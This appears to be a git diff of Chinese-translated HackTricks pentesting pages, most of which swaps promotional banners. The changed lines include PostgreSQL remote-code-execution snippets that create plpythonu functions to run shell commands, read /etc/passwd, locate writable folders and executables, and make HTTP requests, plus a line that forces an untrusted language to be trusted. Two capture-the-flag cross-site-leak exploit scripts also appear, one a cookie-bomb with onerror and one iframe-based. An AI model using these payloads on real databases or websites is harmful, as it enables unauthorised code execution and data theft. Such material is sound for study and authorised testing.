学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,41 +1,41 @@
|
||||||
# RCE with PostgreSQL Languages
|
# RCE with PostgreSQL Languages
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在 HackTricks 中宣传**吗? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## PostgreSQL 语言
|
## PostgreSQL Languages
|
||||||
|
|
||||||
您访问的 PostgreSQL 数据库可能安装了不同的**脚本语言**,您可以滥用这些语言来**执行任意代码**。
|
您访问的 PostgreSQL 数据库可能安装了不同的 **脚本语言**,您可以利用这些语言来 **执行任意代码**。
|
||||||
|
|
||||||
您可以**使它们运行**:
|
|
||||||
|
|
||||||
|
您可以 **让它们运行**:
|
||||||
```sql
|
```sql
|
||||||
\dL *
|
\dL *
|
||||||
|
|
||||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||||
```
|
```
|
||||||
|
大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**:**受信任的** 和 **不受信任的**。**不受信任的** 语言名称 **以 "u" 结尾**,并且是允许你 **执行代码** 和使用其他有趣功能的版本。这些语言如果安装了会很有趣:
|
||||||
大多数您可以在PostgreSQL中安装的脚本语言都有**2种类型**:**受信任**和**不受信任**。**不受信任**的语言名称**以"u"结尾**,这些版本允许您**执行代码**并使用其他有趣的功能。以下是一些安装后会很有趣的语言:
|
|
||||||
|
|
||||||
* **plpythonu**
|
* **plpythonu**
|
||||||
* **plpython3u**
|
* **plpython3u**
|
||||||
* **plperlu**
|
* **plperlu**
|
||||||
* **pljavaU**
|
* **pljavaU**
|
||||||
* **plrubyu**
|
* **plrubyu**
|
||||||
* ...(任何其他使用不安全版本的编程语言)
|
* ... (任何其他使用不安全版本的编程语言)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
如果您发现一个有趣的语言已经被PostgreSQL **安装**但被标记为**不受信任**(**`lanpltrusted`为`false`**),您可以尝试使用以下命令**信任**它,这样PostgreSQL就不会施加任何限制:
|
如果你发现一个有趣的语言是 **已安装** 但被 PostgreSQL **标记为不受信任** (**`lanpltrusted`** 为 **`false`**),你可以尝试用以下行来 **信任它**,这样 PostgreSQL 就不会施加任何限制:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||||
# To check your permissions over the table pg_language
|
# To check your permissions over the table pg_language
|
||||||
|
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果您找不到一种语言,您可以尝试使用以下方式加载它(**您需要是超级管理员**):
|
如果您没有看到某种语言,您可以尝试通过(**您需要是超级管理员**)加载它:
|
||||||
|
|
||||||
```
|
```
|
||||||
CREATE EXTENSION plpythonu;
|
CREATE EXTENSION plpythonu;
|
||||||
CREATE EXTENSION plpython3u;
|
CREATE EXTENSION plpython3u;
|
||||||
|
@ -55,10 +54,12 @@ CREATE EXTENSION plrubyu;
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
请注意,将安全版本编译为“不安全”是可能的。例如,可以查看[此链接](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此,即使只发现安装了**受信任**的版本,尝试执行代码也是值得的。
|
请注意,可以将安全版本编译为“非安全”。查看[**这个**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)作为例子。因此,如果您发现安装了**受信任**的版本,尝试执行代码总是值得的。
|
||||||
|
|
||||||
## plpythonu/plpython3u
|
## plpythonu/plpython3u
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="RCE" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -71,7 +72,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT cmd("ls"); #RCE with popen or execve
|
SELECT cmd("ls"); #RCE with popen or execve
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="获取操作系统用户" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -83,7 +86,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT get_user(""); #Get user, para is useless
|
SELECT get_user(""); #Get user, para is useless
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="列出目录" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -97,7 +102,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT lsdir("/"); #List dir
|
SELECT lsdir("/"); #List dir
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="查找 W 文件夹" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -124,7 +131,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="查找文件" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -157,7 +166,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT find_file("psql"); #Find a file
|
SELECT find_file("psql"); #Find a file
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="查找可执行文件" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -189,7 +200,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT findx("/"); #Find an executables in folder (recursively)
|
SELECT findx("/"); #Find an executables in folder (recursively)
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="通过子字符串查找 exec" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -222,7 +235,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT find_exe("psql"); #Find executable by susbstring
|
SELECT find_exe("psql"); #Find executable by susbstring
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="阅读" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION read (path text)
|
CREATE OR REPLACE FUNCTION read (path text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -236,7 +251,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
select read('/etc/passwd'); #Read a file in b64
|
select read('/etc/passwd'); #Read a file in b64
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="获取权限" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -250,7 +267,9 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
select get_perms("/etc/passwd"); # Get perms of file
|
select get_perms("/etc/passwd"); # Get perms of file
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="请求" %}
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION req2 (url text)
|
CREATE OR REPLACE FUNCTION req2 (url text)
|
||||||
RETURNS VARCHAR(65535) stable
|
RETURNS VARCHAR(65535) stable
|
||||||
|
@ -274,10 +293,12 @@ LANGUAGE 'plpythonu';
|
||||||
|
|
||||||
SELECT req3('https://google.com'); #Request using python3
|
SELECT req3('https://google.com'); #Request using python3
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
## pgSQL
|
## pgSQL
|
||||||
|
|
||||||
检查以下页面:
|
查看以下页面:
|
||||||
|
|
||||||
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
|
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
|
||||||
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
|
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
|
||||||
|
@ -285,20 +306,23 @@ SELECT req3('https://google.com'); #Request using python3
|
||||||
|
|
||||||
## C
|
## C
|
||||||
|
|
||||||
检查以下页面:
|
查看以下页面:
|
||||||
|
|
||||||
{% content-ref url="rce-with-postgresql-extensions.md" %}
|
{% content-ref url="rce-with-postgresql-extensions.md" %}
|
||||||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,21 @@
|
||||||
# Cookie Bomb + Onerror XS Leak
|
# Cookie Bomb + Onerror XS Leak
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
以下**脚本**取自[**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),利用允许用户**插入任意数量的cookie**的功能,然后加载一个文件作为脚本,知道真实响应将比错误响应更大,然后。如果成功,响应将是一个重定向,生成的URL更长,**服务器无法处理太大的URL,因此返回错误的http状态码**。如果搜索失败,因为URL较短,将不会发生任何事情。
|
以下 **脚本** 来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),利用了一个功能,允许用户 **插入任意数量的 cookies**,然后加载一个文件作为脚本,知道真实响应将大于虚假响应。如果成功,响应将是一个重定向, resulting URL 更长,**服务器无法处理的太大,因此返回错误的 http 状态码**。如果搜索失败,则不会发生任何事情,因为 URL 较短。
|
||||||
```html
|
```html
|
||||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||||
<script>
|
<script>
|
||||||
|
@ -61,14 +64,17 @@ break;
|
||||||
};
|
};
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,19 @@
|
||||||
# JavaScript执行XS泄漏
|
# JavaScript 执行 XS 漏洞
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
```javascript
|
```javascript
|
||||||
// Code that will try ${guess} as flag (need rest of the server code
|
// Code that will try ${guess} as flag (need rest of the server code
|
||||||
app.get('/guessing', function(req, res) {
|
app.get('/guessing', function(req, res) {
|
||||||
|
@ -30,7 +33,7 @@ window.parent.foo()
|
||||||
res.send(page)
|
res.send(page)
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
主页会生成 iframes 到之前的 `/guessing` 页面,以测试每种可能性。
|
主页面生成 iframe 指向之前的 `/guessing` 页面以测试每种可能性
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
||||||
</div>
|
</div>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中宣传**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,26 @@
|
||||||
# performance.now + 强制重任务
|
# performance.now + Force heavy task
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
